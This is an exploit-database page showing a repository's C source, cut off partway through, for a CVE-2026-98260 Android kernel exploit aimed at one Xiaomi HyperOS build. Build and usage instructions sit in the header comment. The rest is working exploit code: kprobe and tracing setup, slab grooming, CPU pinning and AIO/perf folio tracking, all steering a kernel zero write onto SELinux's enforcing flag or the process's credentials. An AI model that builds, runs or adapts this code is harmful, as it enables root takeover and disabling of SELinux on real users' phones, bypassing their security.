Exploit database

GH-f4ca63c4c64d1fb20c96a74396b4cb9f

addxemmm/cve-2026-98260-pudding-android

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
addxemmm/cve-2026-98260-pudding-androidRevision 6f3cf242c409

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/exploit-android-perf-chain.c

C · 98,769 bytes
/*
 * CVE-2026-98260 Android order-1 slab / AIO zero-write prototype.
 *
 * TARGET SPECIFIC: Xiaomi 17 (pudding) HyperOS 4 OS4.0.5.0.XPCCNXM / Android 17, kernel 6.12.69-android16-6-g43b5ab7e247d-abogki561813157-4k, 4 KiB pages,
 * sizeof(k_itimer)=0x100, cpu_timer.node=+0x78, 32 objects/order-1 slab.
 * The public Ubuntu 7.0 exploit uses a different object layout and an
 * incompatible setuid finish. This prototype instead obtains one eight-byte
 * zero write from rb_erase at the zombie reap. It can target a harmless
 * current->comm test field, the enforcing byte of selinux_state, or uid/gid
 * in this process's private cred.
 *
 * Target-specific checks require 32/32 owned slab slots, a free_slab event
 * for that exact slab, and a matching AIO ring folio for the victim's 4 KiB
 * half-page. The target-specific chain was verified on the stated build.
 * A missing folio match parks the zombie without reaping it.
 *
 * Build with the Android NDK, for example:
 *   aarch64-linux-android35-clang -std=gnu11 -O2 -pthread \
 *     exploit-android-perf-chain.c -o exploit-android-perf-chain
 *
 * Usage: exploit-android-perf-chain --preflight | --aio-probe
 *        exploit-android-perf-chain --target comm-test [--vmas N]
 *        exploit-android-perf-chain --target selinux [--slide 0x...] [--vmas N]
 *        exploit-android-perf-chain --target cred [--vmas N]
 */
#define _GNU_SOURCE 1
#include <errno.h>
#include <inttypes.h>
#include <fcntl.h>
#include <linux/memfd.h>
#include <linux/perf_event.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define LOCKER_COUNT 3
#define HELPER_STACK_SIZE (1U << 20)
#define DEFAULT_VMAS 50000U
#define MAX_VMAS 1000000U
#define MAX_ATTEMPTS 1000U
#define TRACE_ROOT "/sys/kernel/tracing"
#define RSS_TRIGGER TRACE_ROOT "/events/kmem/rss_stat/trigger"
#define RSS_ENABLE TRACE_ROOT "/events/kmem/rss_stat/enable"
#define TRACING_ON TRACE_ROOT "/tracing_on"
#define TRACE_TEXT TRACE_ROOT "/trace"
#define LINK_SELINUX_STATE UINT64_C(0xffffffc0827f9ba0)
#define LINK_GETPID UINT64_C(0xffffffc080102e10)
#define TARGET_PAGE_OFFSET UINT64_C(0xffffff8000000000)
#define TARGET_VMEMMAP_START UINT64_C(0xfffffffec0000000)
#define MEMSTART_PFN UINT64_C(0x80000)
#define KITIMER_BYTES 0x100U
#define KITIMER_NODE 0x78U
#define SLAB_BYTES 0x2000U
#define SLAB_OBJECTS 32U
#define FILLER_MAX 32768U
#define AIO_MAX 16384U
#define AIO_BATCH 128U
#define PERF_MAX 16384U
#define PERF_BATCH 128U
#define PREFIX_DEFAULT 256U
#define CHURN_DEFAULT 993U
#define PCP_PRIME_DEFAULT 8192U
#define PCP_PRIME_MAX 65536U

enum target_kind {
	TARGET_NONE, TARGET_SELINUX, TARGET_CRED, TARGET_COMM_TEST
};
static enum target_kind target_kind;
static uint64_t kaslr_slide;
static unsigned int filler_limit = 4096;
static unsigned int prefix_minimum = PREFIX_DEFAULT;
static unsigned int churn_limit = CHURN_DEFAULT;
static unsigned int pcp_prime_pages = PCP_PRIME_DEFAULT;
static unsigned int aio_limit = 8192;
static int tid_pipe_write = -1;
static int target_control_read = -1;
static bool preflight_only;
static bool aio_preflight_only;
static bool pcp_preflight_only;
static cpu_set_t initial_affinity;
static bool initial_affinity_valid;
static int allocator_cpu = -1;
static volatile sig_atomic_t unsafe_child_pid;
static unsigned char fatal_signal_stack[64U * 1024U]
	__attribute__((aligned(16)));

struct trace_probe {
	char group[64];
	char nonce[40];
	char event[64];
	char extra_event[64];
	char free_slab_event[64];
	char aio_event[64];
	char perf_event[64];
	bool created;
	bool trigger_added;
	bool extra_created;
	bool extra_trigger_added;
	bool free_slab_created;
	bool free_slab_trigger_added;
	bool aio_created;
	bool aio_trigger_added;
	bool perf_created;
	bool perf_trigger_added;
	bool pcp_trigger_added;
	bool rss_enabled;
	bool tracing_enabled;
};

struct filler {
	timer_t id;
	uint64_t kernel_address;
	bool live;
};

typedef unsigned long aio_context_t;

struct perf_mapping {
	int fd;
	void *map;
};

struct shared_state {
	_Atomic int go;
	_Atomic int stop;
	_Atomic int lockers_started;
	_Atomic int exec_tid;
	_Atomic int target_tgid;
	void *base;
	size_t length;
};

static struct shared_state shared;
static unsigned int requested_vmas = DEFAULT_VMAS;
static unsigned int requested_attempts = 1;

static long tid(void)
{
	return syscall(SYS_gettid);
}

static void fatal_while_zombie(int signum)
{
	static const char message[] =
		"[FATAL_PARK] parent faulted while holding vulnerable zombie; "
		"keeping parent alive to avoid init reap\n";
	if (!unsafe_child_pid)
		_exit(128 + signum);
	(void)write(STDERR_FILENO, message, sizeof(message) - 1);
	for (;;)
		pause();
}

static void install_fatal_park(void)
{
	stack_t stack = {
		.ss_sp = fatal_signal_stack,
		.ss_size = sizeof(fatal_signal_stack),
		.ss_flags = 0
	};
	struct sigaction action = { 0 };
	(void)sigaltstack(&stack, NULL);
	action.sa_handler = fatal_while_zombie;
	action.sa_flags = SA_ONSTACK;
	sigemptyset(&action.sa_mask);
	(void)sigaction(SIGSEGV, &action, NULL);
	(void)sigaction(SIGBUS, &action, NULL);
	(void)sigaction(SIGILL, &action, NULL);
	(void)sigaction(SIGABRT, &action, NULL);
	(void)sigaction(SIGFPE, &action, NULL);
}

static int pin_allocator_cpu(void)
{
	cpu_set_t one;
	if (sched_getaffinity(0, sizeof(initial_affinity), &initial_affinity))
		return -1;
	initial_affinity_valid = true;
	for (int cpu = 0; cpu < CPU_SETSIZE; cpu++) {
		if (!CPU_ISSET(cpu, &initial_affinity))
			continue;
		CPU_ZERO(&one);
		CPU_SET(cpu, &one);
		if (sched_setaffinity(0, sizeof(one), &one))
			return -1;
		allocator_cpu = cpu;
		dprintf(STDERR_FILENO, "[cpu] allocator pinned cpu=%d\n", cpu);
		return 0;
	}
	errno = EINVAL;
	return -1;
}

static void restore_affinity(void)
{
	if (initial_affinity_valid)
		(void)sched_setaffinity(0, sizeof(initial_affinity),
					&initial_affinity);
}

static int gate_wait(void)
{
	char command;
	if (target_control_read < 0 ||
	    read(target_control_read, &command, 1) != 1 || command != 'G') {
		atomic_store_explicit(&shared.stop, 1, memory_order_release);
		return -1;
	}
	return 0;
}

static int report_phase(int phase, int phase_tid)
{
	int message[2] = { phase, phase_tid };
	return tid_pipe_write >= 0 &&
	       write(tid_pipe_write, message, sizeof(message)) ==
			(ssize_t)sizeof(message) ? 0 : -1;
}

static int parse_uint(const char *text, unsigned int ceiling, unsigned int *out)
{
	char *end;
	unsigned long value;
	errno = 0;
	value = strtoul(text, &end, 10);
	if (errno || end == text || *end || value < 1 || value > ceiling)
		return -1;
	*out = (unsigned int)value;
	return 0;
}

static long read_long_file(const char *path)
{
	FILE *file = fopen(path, "r");
	long value = -1;
	if (!file)
		return -1;
	if (fscanf(file, "%ld", &value) != 1)
		value = -1;
	fclose(file);
	return value;
}

static int read_timer_slab_total(unsigned int *active, unsigned int *total)
{
	FILE *file = fopen("/proc/slabinfo", "r");
	char line[512], name[96];
	unsigned int object_size, objects_per_slab, pages_per_slab;
	int result = -1;
	if (!file)
		return -1;
	while (fgets(line, sizeof(line), file)) {
		if (sscanf(line, "%95s %u %u %u %u %u", name, active,
			   total, &object_size, &objects_per_slab,
			   &pages_per_slab) != 6 ||
		    strcmp(name, "posix_timers_cache"))
			continue;
		if (object_size != KITIMER_BYTES ||
		    objects_per_slab != SLAB_OBJECTS ||
		    pages_per_slab != 2U) {
			errno = EPROTO;
			break;
		}
		result = 0;
		break;
	}
	fclose(file);
	if (result && !errno)
		errno = ENOENT;
	return result;
}

static int write_control(const char *path, const char *value, bool append)
{
	int fd = open(path, O_WRONLY | O_CLOEXEC | (append ? O_APPEND : 0));
	size_t length = strlen(value);
	ssize_t n;
	int saved;
	if (fd < 0)
		return -1;
	do {
		n = write(fd, value, length);
	} while (n < 0 && errno == EINTR);
	saved = n < 0 ? errno : EIO;
	close(fd);
	if (n != (ssize_t)length) {
		errno = saved;
		return -1;
	}
	return 0;
}

static int read_control(const char *path, char *buffer, size_t capacity)
{
	int fd = open(path, O_RDONLY | O_CLOEXEC);
	ssize_t n;
	int saved;
	if (fd < 0)
		return -1;
	n = read(fd, buffer, capacity - 1);
	saved = errno;
	close(fd);
	if (n < 0) {
		errno = saved;
		return -1;
	}
	buffer[n] = '\0';
	return 0;
}

static int touch_rss(void)
{
	const size_t length = 4U * 1024U * 1024U;
	volatile unsigned char *page = mmap(NULL, length, PROT_READ | PROT_WRITE,
					   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (page == MAP_FAILED)
		return -1;
	for (size_t offset = 0; offset < length; offset += 4096)
		page[offset] = 1;
	return munmap((void *)page, length);
}

static int probe_setup(struct trace_probe *probe, const char *symbol,
		       const char *fetch, bool return_probe)
{
	char command[512], trigger[192], value[32];
	struct timespec nonce = { 0 };
	memset(probe, 0, sizeof(*probe));
	if (read_control(TRACING_ON, value, sizeof(value)) || value[0] != '0' ||
	    read_control(RSS_ENABLE, value, sizeof(value)) || value[0] != '0') {
		errno = EBUSY;
		return -1;
	}
	(void)clock_gettime(CLOCK_MONOTONIC, &nonce);
	snprintf(probe->nonce, sizeof(probe->nonce), "%ld_%09ld_%ld",
		nonce.tv_sec, nonce.tv_nsec, tid());
	snprintf(probe->group, sizeof(probe->group), "pc98260_%d", getpid());
	snprintf(probe->event, sizeof(probe->event), "leak_%s",
		probe->nonce);
	snprintf(command, sizeof(command), "%c:%s/%s %s %s\n",
		 return_probe ? 'r' : 'p',
		 probe->group, probe->event, symbol, fetch);
	if (write_control(TRACE_ROOT "/kprobe_events", command, true))
		return -1;
	probe->created = true;
	snprintf(trigger, sizeof(trigger), "enable_event:%s:%s\n",
		 probe->group, probe->event);
	if (write_control(RSS_TRIGGER, trigger, true))
		return -1;
	probe->trigger_added = true;
	if (write_control(RSS_ENABLE, "1", false))
		return -1;
	probe->rss_enabled = true;
	if (write_control(TRACING_ON, "1", false))
		return -1;
	probe->tracing_enabled = true;
	if (touch_rss())
		return -1;
	/* The enable_event trigger leaves this probe soft-enabled. Stop
	 * recording high-volume rss_stat events during 50k-VMA exec/exit.
	 */
	if (write_control(RSS_ENABLE, "0", false))
		return -1;
	dprintf(STDERR_FILENO, "[trace] active %s:%s on %s\n",
		probe->group, probe->event, symbol);
	return 0;
}

static int probe_add_rcu_free(struct trace_probe *probe)
{
	char command[256];
	snprintf(probe->extra_event, sizeof(probe->extra_event),
		 "rcu_%s", probe->nonce);
	snprintf(command, sizeof(command),
		 "p:%s/%s k_itimer_rcu_free head=$arg1:x64\n",
		 probe->group, probe->extra_event);
	if (write_control(TRACE_ROOT "/kprobe_events", command, true))
		return -1;
	probe->extra_created = true;
	snprintf(command, sizeof(command), "enable_event:%s:%s\n",
		 probe->group, probe->extra_event);
	if (write_control(RSS_TRIGGER, command, true))
		return -1;
	probe->extra_trigger_added = true;
	if (write_control(RSS_ENABLE, "1", false))
		return -1;
	if (touch_rss()) {
		(void)write_control(RSS_ENABLE, "0", false);
		return -1;
	}
	if (write_control(RSS_ENABLE, "0", false))
		return -1;
	dprintf(STDERR_FILENO, "[trace] active %s:%s on k_itimer_rcu_free\n",
		probe->group, probe->extra_event);
	return 0;
}

static int probe_add_free_slab_tracking(struct trace_probe *probe)
{
	char command[320];
	snprintf(probe->free_slab_event, sizeof(probe->free_slab_event),
		 "release_%s", probe->nonce);
	snprintf(command, sizeof(command),
		 "p:%s/%s free_slab cache=%%x0:x64 slab=%%x1:x64\n",
		 probe->group, probe->free_slab_event);
	if (write_control(TRACE_ROOT "/kprobe_events", command, true))
		return -1;
	probe->free_slab_created = true;
	snprintf(command, sizeof(command), "enable_event:%s:%s\n",
		 probe->group, probe->free_slab_event);
	if (write_control(RSS_TRIGGER, command, true))
		return -1;
	probe->free_slab_trigger_added = true;
	if (write_control(RSS_ENABLE, "1", false))
		return -1;
	if (touch_rss()) {
		(void)write_control(RSS_ENABLE, "0", false);
		return -1;
	}
	if (write_control(RSS_ENABLE, "0", false))
		return -1;
	dprintf(STDERR_FILENO,
		"[trace] active %s:%s on free_slab\n",
		probe->group, probe->free_slab_event);
	return 0;
}

static int probe_add_aio_tracking(struct trace_probe *probe)
{
	char command[320];
	snprintf(probe->aio_event, sizeof(probe->aio_event),
		 "aio_%s", probe->nonce);
	snprintf(command, sizeof(command),
		 "r:%s/%s __filemap_get_folio folio=$retval:x64\n",
		 probe->group, probe->aio_event);
	if (write_control(TRACE_ROOT "/kprobe_events", command, true))
		return -1;
	probe->aio_created = true;
	snprintf(command, sizeof(command), "enable_event:%s:%s\n",
		 probe->group, probe->aio_event);
	if (write_control(RSS_TRIGGER, command, true))
		return -1;
	probe->aio_trigger_added = true;
	if (write_control(RSS_ENABLE, "1", false))
		return -1;
	if (touch_rss()) {
		(void)write_control(RSS_ENABLE, "0", false);
		return -1;
	}
	if (write_control(RSS_ENABLE, "0", false))
		return -1;
	dprintf(STDERR_FILENO,
		"[trace] active %s:%s on __filemap_get_folio\n",
		probe->group, probe->aio_event);
	return 0;
}

static int probe_add_pcp_drain_tracking(struct trace_probe *probe)
{
	if (write_control(RSS_TRIGGER,
			  "enable_event:kmem:mm_page_pcpu_drain\n", true))
		return -1;
	probe->pcp_trigger_added = true;
	if (write_control(RSS_ENABLE, "1", false))
		return -1;
	if (touch_rss()) {
		(void)write_control(RSS_ENABLE, "0", false);
		return -1;
	}
	if (write_control(RSS_ENABLE, "0", false))
		return -1;
	dprintf(STDERR_FILENO,
		"[trace] active kmem:mm_page_pcpu_drain via rss_stat\n");
	return 0;
}

static int probe_add_perf_meta_tracking(struct trace_probe *probe)
{
	char command[320];
	snprintf(probe->perf_event, sizeof(probe->perf_event),
		 "perf_%s", probe->nonce);
	snprintf(command, sizeof(command),
		 "r:%s/%s rb_alloc user_page=+0x120($retval):x64\n",
		 probe->group, probe->perf_event);
	if (write_control(TRACE_ROOT "/kprobe_events", command, true))
		return -1;
	probe->perf_created = true;
	snprintf(command, sizeof(command), "enable_event:%s:%s\n",
		 probe->group, probe->perf_event);
	if (write_control(RSS_TRIGGER, command, true))
		return -1;
	probe->perf_trigger_added = true;
	if (write_control(RSS_ENABLE, "1", false))
		return -1;
	if (touch_rss()) {
		(void)write_control(RSS_ENABLE, "0", false);
		return -1;
	}
	if (write_control(RSS_ENABLE, "0", false))
		return -1;
	dprintf(STDERR_FILENO,
		"[trace] active %s:%s on rb_alloc user_page\n",
		probe->group, probe->perf_event);
	return 0;
}

static int trace_field_u64(const char *event, const char *field,
			   uint64_t *value)
{
	char key[48];
	const char *position;
	unsigned long long parsed;
	snprintf(key, sizeof(key), "%s=0x", field);
	position = strstr(event, key);
	if (!position || sscanf(position + strlen(key), "%llx", &parsed) != 1)
		return -1;
	*value = (uint64_t)parsed;
	return 0;
}

static int trace_line_cpu(const char *line)
{
	const char *bracket = strchr(line, '[');
	char *end;
	unsigned long cpu;
	if (!bracket)
		return -1;
	cpu = strtoul(bracket + 1, &end, 10);
	if (end == bracket + 1 || *end != ']' || cpu > 1023)
		return -1;
	return (int)cpu;
}

static int probe_slab_released(struct trace_probe *probe,
			       uint64_t wanted_slab,
			       uint64_t after_rcu_head,
			       unsigned int *seen, int *release_cpu)
{
	FILE *file = fopen(TRACE_TEXT, "r");
	char line[1024], event_key[128], rcu_key[128];
	bool after_callback = false;
	bool matched = false;
	*seen = 0;
	*release_cpu = -1;
	if (!file)
		return -1;
	snprintf(event_key, sizeof(event_key), "%s:",
		 probe->free_slab_event);
	snprintf(rcu_key, sizeof(rcu_key), "%s:", probe->extra_event);
	while (fgets(line, sizeof(line), file)) {
		char *rcu_event = strstr(line, rcu_key);
		uint64_t head;
		if (rcu_event &&
		    !trace_field_u64(rcu_event, "head", &head) &&
		    head == after_rcu_head)
			after_callback = true;
		if (!after_callback)
			continue;
		char *event = strstr(line, event_key);
		uint64_t slab;
		if (!event || trace_field_u64(event, "slab", &slab))
			continue;
		(*seen)++;
		if (slab == wanted_slab) {
			matched = true;
			*release_cpu = trace_line_cpu(line);
		}
	}
	fclose(file);
	if (!matched) {
		errno = ENOENT;
		return -1;
	}
	return 0;
}

static int probe_target_pcp_drained(struct trace_probe *probe,
				    uint64_t wanted_slab,
				    uint64_t after_rcu_head,
				    unsigned int *seen,
				    int *drain_cpu)
{
	FILE *file = fopen(TRACE_TEXT, "r");
	char line[1024], rcu_key[128], release_key[128];
	uint64_t target_pfn;
	bool after_callback = false, after_release = false;
	bool matched = false;
	*seen = 0;
	*drain_cpu = -1;
	if (!file)
		return -1;
	if (wanted_slab < TARGET_VMEMMAP_START ||
	    (wanted_slab - TARGET_VMEMMAP_START) % 0x40U) {
		fclose(file);
		errno = ERANGE;
		return -1;
	}
	target_pfn = (wanted_slab - TARGET_VMEMMAP_START) / 0x40U +
		MEMSTART_PFN;
	snprintf(rcu_key, sizeof(rcu_key), "%s:", probe->extra_event);
	snprintf(release_key, sizeof(release_key), "%s:",
		 probe->free_slab_event);
	while (fgets(line, sizeof(line), file)) {
		char *event;
		uint64_t value;
		if (!after_callback) {
			event = strstr(line, rcu_key);
			if (event &&
			    !trace_field_u64(event, "head", &value) &&
			    value == after_rcu_head)
				after_callback = true;
			continue;
		}
		if (!after_release) {
			event = strstr(line, release_key);
			if (event &&
			    !trace_field_u64(event, "slab", &value) &&
			    value == wanted_slab)
				after_release = true;
			continue;
		}
		event = strstr(line, "mm_page_pcpu_drain:");
		if (!event || trace_field_u64(event, "pfn", &value))
			continue;
		(*seen)++;
		char *order_field = strstr(event, "order=");
		if (!order_field || strtoul(order_field + 6, NULL, 10) != 1U)
			continue;
		if (value == target_pfn) {
			matched = true;
			*drain_cpu = trace_line_cpu(line);
			break;
		}
	}
	fclose(file);
	if (!matched) {
		errno = ENOENT;
		return -1;
	}
	return 0;
}

struct reclaim_stream {
	int fd;
	char partial[2048];
	size_t used;
	char release_key[128];
	uint64_t wanted_slab;
	uint64_t wanted_pfn;
	unsigned int release_events;
	unsigned int drain_events;
	int release_cpu;
	int drain_cpu;
	bool released;
	bool drained;
};

static void reclaim_stream_line(struct reclaim_stream *stream, char *line)
{
	char *event = strstr(line, stream->release_key);
	uint64_t value;
	if (event && !trace_field_u64(event, "slab", &value)) {
		stream->release_events++;
		if (value == stream->wanted_slab) {
			stream->released = true;
			stream->release_cpu = trace_line_cpu(line);
		}
	}
	event = strstr(line, "mm_page_pcpu_drain:");
	if (event && !trace_field_u64(event, "pfn", &value)) {
		stream->drain_events++;
		char *order = strstr(event, "order=");
		if (order && strtoul(order + 6, NULL, 10) == 1U &&
		    value == stream->wanted_pfn) {
			stream->drained = true;
			stream->drain_cpu = trace_line_cpu(line);
		}
	}
}

static int reclaim_stream_pump(struct reclaim_stream *stream)
{
	char input[8192];
	size_t consumed = 0;
	for (;;) {
		ssize_t got = read(stream->fd, input, sizeof(input));
		if (got < 0) {
			if (errno == EINTR) continue;
			if (errno == EAGAIN || errno == EWOULDBLOCK) return 0;
			return -1;
		}
		if (got == 0) return 0;
		consumed += (size_t)got;
		for (ssize_t i = 0; i < got; i++) {
			char c = input[i];
			if (c == '\n') {
				stream->partial[stream->used] = 0;
				reclaim_stream_line(stream, stream->partial);
				stream->used = 0;
			} else if (stream->used + 1 < sizeof(stream->partial)) {
				stream->partial[stream->used++] = c;
			} else {
				stream->used = 0;
			}
		}
		if (consumed >= (1U << 20)) return 0;
	}
}

static int reclaim_stream_open(struct reclaim_stream *stream,
			       struct trace_probe *probe, uint64_t wanted_slab)
{
	memset(stream, 0, sizeof(*stream));
	stream->fd = -1;
	if (wanted_slab < TARGET_VMEMMAP_START ||
	    (wanted_slab - TARGET_VMEMMAP_START) % 0x40U) {
		errno = ERANGE;
		return -1;
	}
	stream->wanted_slab = wanted_slab;
	stream->wanted_pfn =
		(wanted_slab - TARGET_VMEMMAP_START) / 0x40U + MEMSTART_PFN;
	stream->release_cpu = -1;
	stream->drain_cpu = -1;
	snprintf(stream->release_key, sizeof(stream->release_key),
		 "%s:", probe->free_slab_event);
	stream->fd = open(TRACE_ROOT "/trace_pipe",
			  O_RDONLY | O_NONBLOCK | O_CLOEXEC);
	return stream->fd < 0 ? -1 : 0;
}

static int reclaim_stream_wait(struct reclaim_stream *stream,
			       unsigned int timeout_ms)
{
	struct timespec start, now;
	if (clock_gettime(CLOCK_MONOTONIC, &start)) return -1;
	for (;;) {
		if (reclaim_stream_pump(stream)) return -1;
		if (stream->released) return 0;
		if (clock_gettime(CLOCK_MONOTONIC, &now)) return -1;
		int64_t elapsed =
			(int64_t)(now.tv_sec - start.tv_sec) * 1000 +
			(int64_t)(now.tv_nsec - start.tv_nsec) / 1000000;
		if (elapsed >= timeout_ms) { errno = ETIMEDOUT; return 1; }
		struct pollfd pfd = { .fd = stream->fd, .events = POLLIN };
		int ready = poll(&pfd, 1, 100);
		if (ready < 0 && errno != EINTR) return -1;
	}
}

static int probe_has_rcu_head(struct trace_probe *probe, uint64_t wanted,
			      unsigned int *seen, bool verbose)
{
	FILE *file = fopen(TRACE_TEXT, "r");
	char line[1024], event_key[128];
	char first_event[256] = { 0 }, last_event[256] = { 0 };
	uint64_t last_head[3] = { 0, 0, 0 };
	unsigned int total_lines = 0;
	bool matched = false;
	*seen = 0;
	if (!file)
		return -1;
	snprintf(event_key, sizeof(event_key), "%s:", probe->extra_event);
	while (fgets(line, sizeof(line), file)) {
		total_lines++;
		char *event = strstr(line, event_key);
		char *field;
		unsigned long long value;
		if (!event || !(field = strstr(event, "head=0x")) ||
		    sscanf(field + 7, "%llx", &value) != 1)
			continue;
		(*seen)++;
		if (*seen == 1)
			snprintf(first_event, sizeof(first_event), "%.240s", line);
		snprintf(last_event, sizeof(last_event), "%.240s", line);
		first_event[strcspn(first_event, "\r\n")] = '\0';
		last_event[strcspn(last_event, "\r\n")] = '\0';
		last_head[0] = last_head[1];
		last_head[1] = last_head[2];
		last_head[2] = (uint64_t)value;
		if ((uint64_t)value == wanted)
			matched = true;
	}
	fclose(file);
	if (!matched) {
		if (verbose)
		dprintf(STDERR_FILENO,
			"[trace] RCU wanted=0x%" PRIx64
			" seen=%u trace_lines=%u last_heads="
			"0x%" PRIx64 ",0x%" PRIx64 ",0x%" PRIx64
			" first='%.160s' last='%.160s'\n",
			wanted, *seen, total_lines,
			last_head[0], last_head[1], last_head[2],
			first_event, last_event);
		errno = ENOENT;
		return -1;
	}
	return 0;
}

static int probe_rcu_head_cpu(struct trace_probe *probe, uint64_t wanted)
{
	FILE *file = fopen(TRACE_TEXT, "r");
	char line[1024], key[128];
	int found_cpu = -1;
	if (!file) return -1;
	snprintf(key, sizeof(key), "%s:", probe->extra_event);
	while (fgets(line, sizeof(line), file)) {
		char *event = strstr(line, key);
		uint64_t head;
		if (event && !trace_field_u64(event, "head", &head) &&
		    head == wanted)
			found_cpu = trace_line_cpu(line);
	}
	fclose(file);
	return found_cpu;
}

static int probe_target_rcu_complete(struct trace_probe *probe,
				     struct filler *fillers,
				     unsigned int first,
				     unsigned int filler_count,
				     uint64_t victim,
				     unsigned int *confirmed,
				     unsigned int *seen)
{
	FILE *file = fopen(TRACE_TEXT, "r");
	char line[1024], event_key[128];
	bool found[SLAB_OBJECTS] = { false };
	*confirmed = 0;
	*seen = 0;
	if (!file || filler_count + 1U > SLAB_OBJECTS) {
		if (file)
			fclose(file);
		errno = EINVAL;
		return -1;
	}
	snprintf(event_key, sizeof(event_key), "%s:", probe->extra_event);
	while (fgets(line, sizeof(line), file)) {
		char *event = strstr(line, event_key);
		uint64_t head;
		if (!event || trace_field_u64(event, "head", &head))
			continue;
		(*seen)++;
		for (unsigned int i = 0; i < filler_count; i++)
			if (!found[i] &&
			    head == fillers[first + i].kernel_address + 0xf0) {
				found[i] = true;
				(*confirmed)++;
				break;
			}
		if (!found[filler_count] && head == victim + 0xf0) {
			found[filler_count] = true;
			(*confirmed)++;
		}
	}
	fclose(file);
	if (*confirmed != filler_count + 1U) {
		errno = ENOENT;
		return -1;
	}
	return 0;
}

static int probe_lookup(struct trace_probe *probe, long expected_tid,
			const char *field, uint64_t *value)
{
	FILE *file = fopen(TRACE_TEXT, "r");
	char line[1024], event_key[128], field_key[64];
	bool found = false;
	if (!file)
		return -1;
	snprintf(event_key, sizeof(event_key), "%s:", probe->event);
	snprintf(field_key, sizeof(field_key), "%s=0x", field);
	while (fgets(line, sizeof(line), file)) {
		char *event = strstr(line, event_key);
		char *bracket, *dash, *end, *field_pos;
		unsigned long long candidate;
		long line_tid;
		if (!event)
			continue;
		bracket = strchr(line, '[');
		if (!bracket || bracket >= event)
			continue;
		dash = bracket;
		while (dash > line && *dash != '-')
			dash--;
		if (*dash != '-')
			continue;
		line_tid = strtol(dash + 1, &end, 10);
		if (end == dash + 1 || end > bracket || line_tid != expected_tid)
			continue;
		field_pos = strstr(event, field_key);
		if (!field_pos || sscanf(field_pos + strlen(field_key), "%llx",
					 &candidate) != 1)
			continue;
		*value = (uint64_t)candidate;
		found = true;
	}
	fclose(file);
	if (!found) {
		errno = ENOENT;
		return -1;
	}
	return 0;
}

static int probe_aio_folios(struct trace_probe *probe, long owner_tid,
			    uint64_t wanted_folio, unsigned int baseline,
			    unsigned int *seen, unsigned int *match_index,
			    uint64_t *last_folio)
{
	FILE *file = fopen(TRACE_TEXT, "r");
	char line[1024], event_key[128];
	unsigned int matches = 0;
	*seen = 0;
	*match_index = UINT32_MAX;
	*last_folio = 0;
	if (!file)
		return -1;
	snprintf(event_key, sizeof(event_key), "%s:", probe->aio_event);
	while (fgets(line, sizeof(line), file)) {
		char *event = strstr(line, event_key);
		char *bracket, *dash, *end;
		uint64_t folio;
		long line_tid;
		/* io_setup has an ioctx_alloc call followed by a filemap_fault
		 * lookup for the same ring page. Only the former identifies the
		 * ring's freshly allocated folio; other faults on this TID are
		 * unrelated to rings.
		 */
		if (!event || !strstr(event, "(ioctx_alloc+"))
			continue;
		bracket = strchr(line, '[');
		if (!bracket || bracket >= event)
			continue;
		dash = bracket;
		while (dash > line && *dash != '-')
			dash--;
		if (*dash != '-')
			continue;
		line_tid = strtol(dash + 1, &end, 10);
		if (end == dash + 1 || end > bracket ||
		    line_tid != owner_tid ||
		    trace_field_u64(event, "folio", &folio))
			continue;
		if (*seen >= baseline && folio == wanted_folio) {
			*match_index = *seen - baseline;
			matches++;
		}
		*last_folio = folio;
		(*seen)++;
	}
	fclose(file);
	if (matches > 1) {
		errno = EPROTO;
		return -1;
	}
	return 0;
}

static int probe_cleanup(struct trace_probe *probe)
{
	struct cleanup_item {
		const char *group;
		const char *name;
		bool created;
		bool triggered;
	};
	struct cleanup_item items[6] = {
		{ probe->group, probe->event,
		  probe->created, probe->trigger_added },
		{ probe->group, probe->extra_event, probe->extra_created,
		  probe->extra_trigger_added },
		{ probe->group, probe->free_slab_event,
		  probe->free_slab_created,
		  probe->free_slab_trigger_added },
		{ probe->group, probe->aio_event,
		  probe->aio_created, probe->aio_trigger_added },
		{ "kmem", "mm_page_pcpu_drain", false,
		  probe->pcp_trigger_added },
		{ probe->group, probe->perf_event,
		  probe->perf_created, probe->perf_trigger_added }
	};
	bool disable_added[6] = { false };
	char command[192];
	int errors = 0;
	if (probe->tracing_enabled && write_control(TRACING_ON, "0", false))
		errors++;
	if (probe->rss_enabled && write_control(RSS_ENABLE, "0", false))
		errors++;
	for (unsigned int i = 0; i < 6; i++) {
		if (!items[i].triggered)
			continue;
		snprintf(command, sizeof(command), "!enable_event:%s:%s\n",
			 items[i].group, items[i].name);
		if (write_control(RSS_TRIGGER, command, true))
			errors++;
	}
	/* A fired disable_event removes the soft-enable left by the trigger. */
	for (unsigned int i = 0; i < 6; i++) {
		if (!items[i].triggered)
			continue;
		snprintf(command, sizeof(command), "disable_event:%s:%s\n",
			 items[i].group, items[i].name);
		if (write_control(RSS_TRIGGER, command, true))
			errors++;
		else
			disable_added[i] = true;
	}
	bool need_fire = false;
	for (unsigned int i = 0; i < 6; i++)
		need_fire |= disable_added[i];
	if (need_fire) {
		if (write_control(RSS_ENABLE, "1", false))
			errors++;
		else if (touch_rss())
			errors++;
		if (write_control(RSS_ENABLE, "0", false))
			errors++;
	}
	for (unsigned int i = 0; i < 6; i++) {
		if (!disable_added[i])
			continue;
		snprintf(command, sizeof(command), "!disable_event:%s:%s\n",
			 items[i].group, items[i].name);
		if (write_control(RSS_TRIGGER, command, true))
			errors++;
	}
	for (unsigned int i = 6; i-- > 0;) {
		if (!items[i].created)
			continue;
		snprintf(command, sizeof(command), "-:%s/%s\n",
			 items[i].group, items[i].name);
		if (write_control(TRACE_ROOT "/kprobe_events", command, true))
			errors++;
	}
	dprintf(STDERR_FILENO, "[trace] cleanup %s:%s errors=%d\n",
		probe->group, probe->event, errors);
	memset(probe, 0, sizeof(*probe));
	return errors ? -1 : 0;
}

static bool kernel_pointer(uint64_t value)
{
	return (value >> 48) == UINT64_C(0xffff) && !(value & 7);
}

static int victim_slab_pointer(uint64_t victim, uint64_t *slab_pointer)
{
